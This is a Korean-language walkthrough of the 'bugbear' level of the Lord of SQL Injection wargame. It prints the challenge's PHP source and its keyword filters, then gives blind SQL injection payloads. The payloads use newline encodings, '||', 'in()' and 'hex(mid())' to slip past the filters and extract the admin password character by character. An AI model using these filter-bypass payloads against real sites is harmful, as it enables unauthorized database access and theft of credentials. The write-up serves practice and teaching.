LOS # bugbear
쿼리문!
query : select id from prob_bugbear where id='guest' and pw='' and no=
코드는 이렇다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
// 필터링되는 여러 문자들
$_GET[no] ->substr, ascii, =, or, and, like, 0x(hex), 공백
=이나 like -> between, in, instr
$_GET[pw] ->'
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
// 참인 조건이 들어가면 "Hello 'id'" 라는 문구가 출력되나보다!
-> 역시나 Blind SQL Injection 문제 같다!
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
// id가 'admin'일 경우의 pw를 구해야한다..!
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
// 이제 문제의 해결조건이다!
정해진 pw값과 내가 입력한 pw의 값이 같아야 한다!
highlight_file(__FILE__);
?>
먼저 항상 그랬듯이 pw의 길이부터 구해보자.
먼저 서버의 반응을 확인해보자.
간단하게 참인 조건을 넣어줬다.
?no=1%0a||%0aid%0ain%0a("admin")
이렇게 잘 문구가 출력된다.
?no=1%0a||%0aid%0ain%0a("admin")&&length(pw)<10%23
이런식으로 pw의 길이를 이제 구해주자.
?no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)<8%23
역시나 pw의 길이는 8이었다.
이제 8개의 pw 각 자리를 찾아줘야한다.
근데 필터링되고 있는 함수들이 많으니, 이를 다 우회해줘야 한다.
substr이나 ascii는 사용할 수 없다.
또한, or을 문자열을 필터링하고 있으므로 ord 또한 사용하지 못한다.
<hex()>
: 입력된 문자열을 hex값으로 변환
사용 형식
: hex(문자열)
?no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0ahex(mid(pw,1,1))<hex(100)%23
이런식으로 작성해주었다.
preg_match에서 0x 또한 필터링해주고 있으므로, 범위 계산에도 hex를 사용해서 변환해주었다.
이런식으로 찾아주니, pw의 첫번째 자리는 53이 나왔고, 이를 아스키코드표를 이용해 문자로 변환하면 5가 된다.
이와 같은 방법으로 8자리를 모두 찾아주었다.
pw는 52dc3991이 나오게 되었다.
이를 입력해주자.
?pw=52dc3991
성공!